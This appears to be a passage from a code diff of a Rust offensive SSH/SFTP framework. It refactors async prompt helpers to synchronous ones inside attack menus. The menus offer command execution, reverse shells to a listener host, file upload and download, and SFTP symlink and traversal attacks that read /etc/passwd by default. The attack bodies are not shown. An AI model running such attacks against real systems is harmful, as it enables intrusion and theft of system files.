let username = prompt("Username").await?;
|
||||
let port: u16 = prompt_port("SSH Port", 22)?;
|
||||
let username = prompt("Username")?;
|
||||
if username.is_empty() {
|
||||
return Err(anyhow!("Username is required"));
|
||||
}
|
||||
|
||||
let password = prompt_optional("Password").await?;
|
||||
let keyfile = prompt_optional("SSH Key File Path").await?;
|
||||
let password = prompt_optional("Password")?;
|
||||
let keyfile = prompt_optional("SSH Key File Path")?;
|
||||
|
||||
// Validate keyfile path if provided
|
||||
if let Some(ref kf) = keyfile {
|
||||
@@ -584,7 +575,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!(" 6. Download File");
|
||||
println!();
|
||||
|
||||
let mode = prompt_default("Attack mode", "1").await?;
|
||||
let mode = prompt_default("Attack mode", "1")?;
|
||||
|
||||
let password_ref = password.as_deref();
|
||||
let keyfile_ref = keyfile.as_deref();
|
||||
@@ -594,7 +585,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
attack_session_env_injection(&host, port, &username, password_ref, keyfile_ref, None).await?;
|
||||
}
|
||||
"2" => {
|
||||
let command = prompt_default("Command to execute", "id").await?;
|
||||
let command = prompt_default("Command to execute", "id")?;
|
||||
let validated_command = validate_command_input(&command)
|
||||
.map_err(|e| anyhow!("Invalid command: {}", e))?;
|
||||
attack_exec(&host, port, &username, password_ref, keyfile_ref, &validated_command, 30).await?;
|
||||
@@ -603,11 +594,11 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
attack_interactive_shell(&host, port, &username, password_ref, keyfile_ref).await?;
|
||||
}
|
||||
"4" => {
|
||||
let lhost = prompt("Listener IP (LHOST)").await?;
|
||||
let lhost = prompt("Listener IP (LHOST)")?;
|
||||
if lhost.is_empty() {
|
||||
return Err(anyhow!("LHOST is required"));
|
||||
}
|
||||
let lport: u16 = prompt_default("Listener Port (LPORT)", "4444").await?.parse().unwrap_or(4444);
|
||||
let lport: u16 = prompt_default("Listener Port (LPORT)", "4444")?.parse().unwrap_or(4444);
|
||||
|
||||
println!();
|
||||
println!("{}", "Available payloads:".cyan());
|
||||
@@ -615,13 +606,13 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
for key in payloads.keys() {
|
||||
println!(" - {}", key);
|
||||
}
|
||||
let payload_type = prompt_default("Payload type", "bash").await?;
|
||||
let payload_type = prompt_default("Payload type", "bash")?;
|
||||
|
||||
attack_revshell(&host, port, &username, password_ref, keyfile_ref, &lhost, lport, &payload_type).await?;
|
||||
}
|
||||
"5" => {
|
||||
let local_path = prompt("Local file path").await?;
|
||||
let remote_path = prompt("Remote file path").await?;
|
||||
let local_path = prompt("Local file path")?;
|
||||
let remote_path = prompt("Remote file path")?;
|
||||
let validated_local = validate_file_path(&local_path, true)
|
||||
.map_err(|e| anyhow!("Invalid local file path: {}", e))?;
|
||||
let validated_remote = validate_file_path(&remote_path, true)
|
||||
@@ -629,8 +620,8 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
attack_upload(&host, port, &username, password_ref, keyfile_ref, &validated_local, &validated_remote).await?;
|
||||
}
|
||||
"6" => {
|
||||
let remote_path = prompt("Remote file path").await?;
|
||||
let local_path = prompt("Local file path").await?;
|
||||
let remote_path = prompt("Remote file path")?;
|
||||
let local_path = prompt("Local file path")?;
|
||||
let validated_remote = validate_file_path(&remote_path, true)
|
||||
.map_err(|e| anyhow!("Invalid remote file path: {}", e))?;
|
||||
let validated_local = validate_file_path(&local_path, true)
|
||||
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use crate::utils::{normalize_target, validate_file_path};
|
||||
use crate::utils::{normalize_target, validate_file_path, prompt_port};
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
io::{Read, Write},
|
||||
@@ -20,7 +20,7 @@ use std::{
|
||||
path::Path,
|
||||
time::Duration,
|
||||
};
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 30;
|
||||
|
||||
@@ -351,30 +351,26 @@ pub async fn attack_sftp_partial_write(
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
async fn prompt(message: &str) -> Result<String> {
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
async fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
@@ -384,16 +380,14 @@ async fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
}
|
||||
}
|
||||
|
||||
async fn prompt_optional(message: &str) -> Result<Option<String>> {
|
||||
fn prompt_optional(message: &str) -> Result<Option<String>> {
|
||||
print!("{} (leave empty to skip): ", message);
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
@@ -411,14 +405,14 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
// Get connection parameters
|
||||
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(22);
|
||||
let username = prompt("Username").await?;
|
||||
let port: u16 = prompt_port("SSH Port", 22)?;
|
||||
let username = prompt("Username")?;
|
||||
if username.is_empty() {
|
||||
return Err(anyhow!("Username is required"));
|
||||
}
|
||||
|
||||
let password = prompt_optional("Password").await?;
|
||||
let keyfile = prompt_optional("SSH Key File Path").await?;
|
||||
let password = prompt_optional("Password")?;
|
||||
let keyfile = prompt_optional("SSH Key File Path")?;
|
||||
|
||||
// Validate keyfile path if provided
|
||||
if let Some(ref kf) = keyfile {
|
||||
@@ -439,21 +433,21 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!(" 5. Run All Attacks");
|
||||
println!();
|
||||
|
||||
let mode = prompt_default("Attack mode", "5").await?;
|
||||
let mode = prompt_default("Attack mode", "5")?;
|
||||
|
||||
let password_ref = password.as_deref();
|
||||
let keyfile_ref = keyfile.as_deref();
|
||||
|
||||
match mode.as_str() {
|
||||
"1" => {
|
||||
let target_file = prompt_default("Target file to read", "/etc/passwd").await?;
|
||||
let target_file = prompt_default("Target file to read", "/etc/passwd")?;
|
||||
attack_sftp_symlink(&host, port, &username, password_ref, keyfile_ref, &target_file, None).await?;
|
||||
}
|
||||
"2" => {
|
||||
attack_sftp_setuid(&host, port, &username, password_ref, keyfile_ref, None).await?;
|
||||
}
|
||||
"3" => {
|
||||
let target_path = prompt_default("Target path", "/etc/passwd").await?;
|
||||
let target_path = prompt_default("Target path", "/etc/passwd")?;
|
||||
attack_sftp_traversal(&host, port, &username, password_ref, keyfile_ref, &target_path).await?;
|
||||
}
|
||||
"4" => {
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user